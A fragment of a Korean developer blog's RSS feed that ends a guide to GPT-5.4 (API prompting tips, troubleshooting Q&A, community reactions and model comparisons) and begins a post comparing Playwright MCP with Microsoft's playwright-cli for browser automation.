&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;한국어 코딩 지시:&lt;/b&gt; 코드 주석, 변수명 등을 한국어로 요청할 수 있으며, GPT-5.4의 코딩 능력은 언어 무관하게 적용된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;컴퓨터 사용 &amp;mdash; 한국어 UI&lt;/h3&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;한국어 UI 앱 자동화 &amp;mdash; 추가 확인 필요&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Computer Use 기능의 OSWorld 벤치마크는 영어 환경 기준이다. 한국어 UI를 사용하는 앱(한글 Windows, 한국어 웹사이트 등)에서의 성능은 공식 데이터가 없으므로 실제 사용 전 충분한 테스트가 필요하다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;API 활용 시 한국어 프롬프트 팁&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;makefile&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 한국어 응답 + 추론 품질 확보를 위한 시스템 프롬프트 예시
response = openai.responses.create(
    model=&quot;gpt-5.4&quot;,
    reasoning={&quot;effort&quot;: &quot;high&quot;},
    input=[
        {
            &quot;role&quot;: &quot;system&quot;,
            &quot;content&quot;: &quot;You are a helpful assistant. Always respond in Korean.&quot;
        },
        {
            &quot;role&quot;: &quot;user&quot;,
            &quot;content&quot;: &quot;이 코드의 버그를 찾아서 수정해줘&quot;
        }
    ]
)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 10: 트러블슈팅 Q&amp;A --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 트러블슈팅 Q&amp;amp;A&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Q. ChatGPT에서 Thinking 5.4가 보이지 않는다&lt;/h3&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 15px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;A.&lt;/b&gt; Thinking 5.4는 &lt;b&gt;Plus, Team, Pro, Enterprise 플랜&lt;/b&gt;에서만 사용 가능하다. Free 플랜은 Instant 5.3만 이용할 수 있다. 구독 플랜을 확인하거나 업그레이드가 필요하다.&lt;/div&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Q. API에서 gpt-5.4-pro 호출 시 오류가 발생한다&lt;/h3&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 15px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;A.&lt;/b&gt; &lt;code&gt;gpt-5.4-pro&lt;/code&gt;는 &lt;b&gt;Responses API 전용&lt;/b&gt;이다. &lt;code&gt;/v1/chat/completions&lt;/code&gt;로 호출하면 오류가 발생한다. 반드시 &lt;code&gt;/v1/responses&lt;/code&gt; 엔드포인트를 사용해야 한다. 기존 코드를 마이그레이션하지 않은 경우 &lt;code&gt;gpt-5.4&lt;/code&gt; (Thinking)를 사용하는 것이 빠른 대안이다.&lt;/div&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Q. reasoning.effort를 설정해도 응답이 달라지지 않는 것 같다&lt;/h3&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 15px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;A.&lt;/b&gt; &lt;code&gt;temperature&lt;/code&gt;, &lt;code&gt;top_p&lt;/code&gt; 같은 샘플링 파라미터와 &lt;code&gt;reasoning.effort&lt;/code&gt;는 함께 사용할 수 없다. &lt;code&gt;effort&lt;/code&gt;가 &lt;code&gt;&quot;none&quot;&lt;/code&gt;이 아닌 경우 샘플링 파라미터를 제거해야 한다. 또한 응답 길이는 &lt;code&gt;max_output_tokens&lt;/code&gt;로, 출력 상세도는 &lt;code&gt;text.verbosity&lt;/code&gt;로 제어한다.&lt;/div&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Q. 1M 토큰 컨텍스트가 활성화되지 않는다&lt;/h3&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 15px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;A.&lt;/b&gt; 1M 컨텍스트는 &lt;b&gt;기본이 아닌 옵트인&lt;/b&gt;이다. API 요청에 &lt;code&gt;model_context_window&lt;/code&gt;와 &lt;code&gt;model_auto_compact_token_limit&lt;/code&gt; 파라미터를 명시해야 한다. 또한 272K 초과 구간부터는 요금이 2배 적용되니 비용 계획을 먼저 세워야 한다.&lt;/div&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Q. Pro 5.4에서 이미지 생성이 안 된다&lt;/h3&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 15px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;A.&lt;/b&gt; 의도된 제한이다. Pro 5.4는 컴퓨팅 집약도가 높아 Apps, Memory, Canvas, 이미지 생성이 비활성화되어 있다. 이미지 생성이 필요하면 &lt;b&gt;Thinking 5.4로 전환&lt;/b&gt;하거나 Auto 모드를 사용하면 된다.&lt;/div&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Q. Windows에서 Codex 성능이 기대보다 낮다&lt;/h3&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 15px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;A.&lt;/b&gt; Windows 네이티브 환경보다 &lt;b&gt;WSL(Windows Subsystem for Linux)&lt;/b&gt; 환경에서 Codex를 구동할 것을 강력히 권장한다. 두 환경 간의 성능 격차는 실제 작업에서 체감할 수 있을 만큼 크다. GPT-5.4의 Computer Use 및 에이전트 루프 기능도 Linux 기반 환경에서 더 안정적으로 동작한다. WSL 설치 및 설정은 &lt;a href=&quot;https://learn.microsoft.com/ko-kr/windows/wsl/install&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Microsoft 공식 WSL 문서&lt;/a&gt;를 참고하자.&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 11: 커뮤니티 반응 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;11. 커뮤니티 반응과 실사용자 목소리&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;GPT-5.4 출시 전후, 개발자 커뮤니티와 일반 사용자들의 반응은 기술 지표만큼이나 중요한 신호다. 스레드(Threads), X.com, Reddit에서 확인된 주요 반응을 정리한다.&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;#QuitGPT 운동과 배경&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;출시 직전의 신뢰 위기&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;GPT-5.4 출시 3일 전인 2월 28일, OpenAI의 미 국방부(DoD) 계약 발표가 알려지면서 &lt;b&gt;#QuitGPT&lt;/b&gt; 운동이 급속도로 확산됐다. 소셜 미디어에서 대규모 이탈 신호가 나타난 시점에, GPT-5.4는 기술적 성능이 아닌 &lt;b&gt;신뢰 회복&lt;/b&gt;이 더 중요한 숙제인 상황에서 출시되었다.&lt;/p&gt;
&lt;ul style=&quot;margin: 8px 0 0 20px; padding: 0; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Claude가 이 기간 동안 미국 App Store &lt;b&gt;1위&lt;/b&gt;를 기록 (GPT-5.4 출시 주간)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;ChatGPT 앱 삭제 급증 보고 (커뮤니티 보고 기반, 독립 검증 필요)&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;font-size: 12px; color: #888; margin-top: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;⚠️ #QuitGPT 관련 수치는 주로 커뮤니티&amp;middot;언론 보도 기반 (Level 3). 독립적 검증 데이터 없음.&lt;/p&gt;
&lt;/div&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;개발자 커뮤니티 반응 (r/codex, Hacker News)&lt;/h3&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 15px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;긍정적 반응: 에이전트 기능에 집중&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0; line-height: 1.9;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Computer Use + build-run-verify 루프:&lt;/b&gt; &quot;드디어 진짜 에이전트가 됐다&quot;는 반응 &amp;mdash; Codex를 쓰던 개발자들에게 가장 큰 호응&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Tool Search 47% 토큰 절감:&lt;/b&gt; 대형 MCP 생태계를 운영하는 팀들에서 실질적 비용 절감 가능성 평가&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Claude vs GPT-5.4 코딩 비교:&lt;/b&gt; 에이전트 루프에서는 GPT-5.4, 코드 품질&amp;middot;문서화에서는 Claude가 앞선다는 개인 테스트 결과 다수&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 15px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;부정적 반응: 모델 드리프트와 Pro 기능 제한&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0; line-height: 1.9;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;모델 드리프트 불만:&lt;/b&gt; &lt;i&gt;&quot;GPT-5.4가 5.3 codex보다 훨씬 나쁘다 &amp;mdash; 내 의도를 계속 잘못 이해한다&quot;&lt;/i&gt; (r/codex 개발자 피드백)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Pro 5.4 기능 역설:&lt;/b&gt; &quot;$200/월을 내는데 Apps, Memory, Canvas, 이미지 생성이 모두 안 된다&quot; &amp;mdash; $20 Plus 사용자보다 쓸 수 있는 기능이 적다는 불만&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;버전 피로감:&lt;/b&gt; Hacker News에서 &quot;5.1, 5.2, 5.3, 5.4가 몇 주 만에 다 나왔다 &amp;mdash; 무엇을 기준으로 써야 하나&quot;라는 혼란 표출&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;font-size: 13px; color: #888;&quot; data-ke-size=&quot;size14&quot;&gt;⚠️ 커뮤니티 반응은 영어권 개발자 커뮤니티(r/codex, Hacker News, X.com) 기반이며, 표본 편향 가능. Level 3 정보로 참고용으로만 활용 권장.&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;커뮤니티 공통 선택 기준&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 15px 20px; border-radius: 10px; border: 1px solid #cce5ff; margin: 15px 0;&quot;&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;에이전트/자동화 &amp;rarr; GPT-5.4&lt;/b&gt; (Computer Use, Tool Search, Context Compaction)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;코드 품질&amp;middot;문서화 &amp;rarr; Claude Opus 4.6&lt;/b&gt; (SWE-bench 81%+, 128K 출력)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;가성비 &amp;rarr; Gemini 3.1 Pro&lt;/b&gt; ($2/$12 per M, 1M 네이티브 컨텍스트)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;수학&amp;middot;과학 추론 &amp;rarr; o4-mini&lt;/b&gt; 또는 GPT-5.4 Pro (ARC-AGI-2 83.3%)&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;font-size: 12px; color: #888; margin: 8px 0 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;⚠️ 공식 크로스 벤치마크 없음 &amp;mdash; 커뮤니티&amp;middot;3차 출처 분석 기반 (Level 3). 실제 선택은 직접 테스트 권장.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 12: 결론 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;12. 결론&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;경쟁 모델과의 포지셔닝&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;GPT-5.4 도입을 검토한다면 현재 시장에서의 위치를 이해하는 것이 중요하다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 15px 20px; border-radius: 10px; border: 1px solid #cce5ff; margin: 15px 0 20px 0;&quot;&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;GPT-5.4 vs Claude Opus 4.6:&lt;/b&gt; 컴퓨터 사용과 에이전트 루프는 GPT-5.4가 앞서며, 코드 품질과 자연스러운 문서 생성에서는 Claude가 경쟁력을 유지한다는 평가가 있다. 정확한 비교는 공식 크로스 벤치마크가 없으므로 용도별 직접 테스트가 필요하다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;GPT-5.4 vs Gemini 2.5 Pro:&lt;/b&gt; 초장문 문서 처리와 멀티모달 분석은 Gemini의 2M 컨텍스트가 강점이다. GPT-5.4는 에이전트 자동화와 코딩 통합에서 우위를 주장한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;GPT-5.4 Pro vs o4-mini:&lt;/b&gt; o4-mini는 수학&amp;middot;과학 추론에 특화된 경량 추론 모델이다. GPT-5.4 Pro는 컴퓨터 사용&amp;middot;코딩&amp;middot;일반 업무까지 통합된 올라운더로 포지셔닝된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;font-size: 12px; color: #888; margin: 8px 0 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;⚠️ 경쟁 모델 비교는 공식 크로스 벤치마크 부재로 3차 출처 분석 기반 (Level 3). 실제 선택은 구체적 사용 케이스로 직접 테스트 권장.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;GPT-5.4는 단순한 버전 업그레이드가 아닙니다. 메인라인 모델이 처음으로 컴퓨터를 직접 조작하고, 코드를 스스로 실행하고 수정하는 완전한 에이전트로 진화했어요. OSWorld에서 인간 기준선을 넘은 건 상징적인 사건이지만, 4회 중 1회는 아직 실패한다는 현실도 함께 기억해야 합니다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;여러분에게 드리는 현실적인 조언은 간단합니다: &lt;b&gt;Plus 구독으로 Thinking 5.4를 메인으로 쓰고, 진짜 어려운 작업에만 Pro 5.4를 선별적으로 활용&lt;/b&gt;하세요. GDPval 기준으로 일상 지식 업무에서는 Thinking이 Pro보다 오히려 앞선다는 걸 기억하시면, 비용 대비 효과를 극대화할 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;개발자분들이 가장 주목하셔야 할 건 Tool Search와 Context Compaction입니다. 토큰 비용 47% 절감에 긴 에이전트 루프의 안정성 확보까지 &amp;mdash; 이 두 가지가 실제 프로덕션 에이전트의 비용 구조를 바꿀 수 있는 핵심 변화예요. 지금이 바로 기존 워크플로우를 다시 점검하고, GPT-5.4에 맞게 최적화해볼 타이밍입니다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e3f2fd; border-left: 4px solid #2196f3; padding: 20px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;GPT-5.4 핵심 요약&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Instant 5.3&lt;/b&gt; &amp;mdash; 빠른 일상 대화, 무료 포함 전 플랜&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Thinking 5.4&lt;/b&gt; &amp;mdash; 추론 투명성 + 비용 효율, Plus 이상&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Pro 5.4&lt;/b&gt; &amp;mdash; 추상 추론 + 심층 리서치 최강, Pro/Enterprise 전용&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;6가지 신기능&lt;/b&gt; &amp;mdash; 컴퓨터 사용, 1M 컨텍스트, Tool Search, 컴팩션, 코딩 통합, 비즈니스 워크플로우&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;API 핵심&lt;/b&gt; &amp;mdash; gpt-5.4-pro는 Responses API 전용, reasoning.effort에 xhigh 추가&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>AI/ChatGTP(Codex)</category>
      <category>ChatGPT Pro 5.4</category>
      <category>ChatGPT 게임 만들기</category>
      <category>ChatGPT 신기능</category>
      <category>gpt 5.4</category>
      <category>gpt 5.4 Computer Use</category>
      <category>gpt Computer Use</category>
      <category>GPT-5.4</category>
      <category>GPT-5.4 요금제</category>
      <category>openai codex</category>
      <category>Thinking 5.4</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/540</guid>
      <comments>https://goddaehee.tistory.com/540#entry540comment</comments>
      <pubDate>Sun, 8 Mar 2026 00:31:13 +0900</pubDate>
    </item>
    <item>
      <title>개발자를 위한 MCP 추천(3-2) - Playwright CLI와 MCP 비교 분석 해보기</title>
      <link>https://goddaehee.tistory.com/539</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;&lt;!-- ✦ 2026년 시리즈 도입부 ✦ --&gt;
&lt;div style=&quot;background: linear-gradient(135deg, #1a3a52 0%, #0066cc 100%); padding: 28px 30px; border-radius: 16px; margin-bottom: 10px; color: white;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0; font-size: 12px; opacity: 0.75; letter-spacing: 1.5px; font-weight: 600; text-transform: uppercase;&quot; data-ke-size=&quot;size16&quot;&gt;2026년 3월 &amp;middot; 개발자를 위한 MCP 추천 시리즈&lt;/p&gt;
&lt;h2 style=&quot;margin: 0 0 14px 0; font-size: 22px; font-weight: 800; line-height: 1.4; color: white;&quot; data-ke-size=&quot;size26&quot;&gt;Playwright MCP vs playwright-cli &amp;mdash; 비교&lt;/h2&gt;
&lt;p style=&quot;margin: 0; font-size: 15px; line-height: 1.8; opacity: 0.92;&quot; data-ke-size=&quot;size16&quot;&gt;MCP를 설치하지 않고도 Microsoft의 playwright-cli로 동일한 작업을 할 수 있다.&lt;br /&gt;~22개 Core Tool vs 50+ 명령어, 토큰 효율 차이 &amp;mdash; 실제로 무엇이 더 나은지 비교해보려 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f7ff; border: 1px solid #cce5ff; border-left: 4px solid #0066cc; padding: 20px 24px; border-radius: 0 12px 12px 0; margin-bottom: 10px; font-size: 15px; line-height: 1.9;&quot;&gt;&lt;b&gt;이 글을 쓰게 된 이유&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;지난번 &lt;b&gt;Playwright MCP 설치 및 활용 가이드&lt;/b&gt;를 작성하면서 문득 의문이 들었다. Microsoft가 별도로 제공하는 &lt;b&gt;playwright-cli&lt;/b&gt; 패키지가 있다. 그렇다면 MCP를 따로 설치하는 것이 의미가 있는가? 아니면 그냥 playwright-cli 조합이 더 낫지 않을까?&lt;br /&gt;&lt;br /&gt;여러 시나리오를 직접 테스트해보고 심층 분석을 진행했으며, 결론은 꽤 명확하게 나왔다. &lt;b&gt;playwright-cli가 기능적으로는 MCP의 상위 호환(superset)에 가깝다.&lt;/b&gt; 다만 MCP만이 줄 수 있는 고유한 가치도 분명 존재한다. 균형 잡힌 시각으로 두 접근법을 정면 비교해보겠다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif;&quot;&gt;안녕하세요! 갓대희입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;오늘은 &lt;b&gt;Playwright MCP&lt;/b&gt;와 &lt;b&gt;Microsoft의 playwright-cli&lt;/b&gt;를 직접 비교해보랴 힌다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2536&quot; data-origin-height=&quot;1400&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b7WMSl/dJMcahQ6f6X/LskrgG6HWK1xAAXGRgLD01/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b7WMSl/dJMcahQ6f6X/LskrgG6HWK1xAAXGRgLD01/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b7WMSl/dJMcahQ6f6X/LskrgG6HWK1xAAXGRgLD01/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb7WMSl%2FdJMcahQ6f6X%2FLskrgG6HWK1xAAXGRgLD01%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2536&quot; height=&quot;1400&quot; data-origin-width=&quot;2536&quot; data-origin-height=&quot;1400&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;해당 글에서 &lt;b&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;MCP&lt;/span&gt;&lt;/b&gt;와 &lt;b&gt;&lt;span style=&quot;color: #409d00;&quot;&gt;CLI&lt;/span&gt;&lt;/b&gt;비교를 주로 하고있기 때문에, &lt;b&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;MCP&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;와&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #409d00;&quot;&gt;CLI&lt;/span&gt;&lt;/b&gt;비교시에는 대비되는 색으로 대부분 구분 해 두었다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이번글은 실습이라기 보단 논리에 근거한 글이니 재미삼아 조금 지루하고 어려운 부분은 빠르게 넘겨가면서 봐도 좋을 것 같다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;그리고 계속 변경되고 있어서 할루시 네이션이 현시점에도 있거나, 생길수 있는 부분은 확인되시는 경우 말씀 주시면 그떄 그때 수정해 두도록 하겠습니다!&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 요약 callout --&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 4px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;한눈에 보는 결론&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 8px 0 0 0; padding-left: 20px; line-height: 2.0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;도구 수&lt;/b&gt;: MCP ~22개 Core Tool (opt-in 포함 시 35+) vs playwright-cli 50+ 명령어 &amp;rarr; playwright-cli 우위&lt;/li&gt;
&lt;li&gt;&lt;b&gt;토큰 효율&lt;/b&gt;: MCP가 상대적으로 더 많은 토큰 소모 (MCP는 접근성 트리를 매번 컨텍스트에 포함)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Vision 모드 (Canvas/WebGL)&lt;/b&gt;: MCP 전용 기능 &amp;rarr; MCP 고유 우위&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Claude Desktop 호환&lt;/b&gt;: MCP만 가능 &amp;rarr; MCP 고유 우위&lt;/li&gt;
&lt;li&gt;&lt;b&gt;네트워크 모킹, 세션 저장, 키보드 조합키&lt;/b&gt;: playwright-cli 우위&lt;/li&gt;
&lt;li&gt;&lt;b&gt;결론&lt;/b&gt;: 기본값은 playwright-cli, Vision 모드가 필요할 때만 MCP를 추가로 활용&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;비교의 배경 &amp;mdash; &quot;playwright-cli란 무엇인가?&quot;&lt;/li&gt;
&lt;li&gt;MCP 스펙 이해하기 &amp;mdash; Playwright MCP는 어떤 규격을 따르나?&lt;/li&gt;
&lt;li&gt;한눈에 보는 전체 비교표&lt;/li&gt;
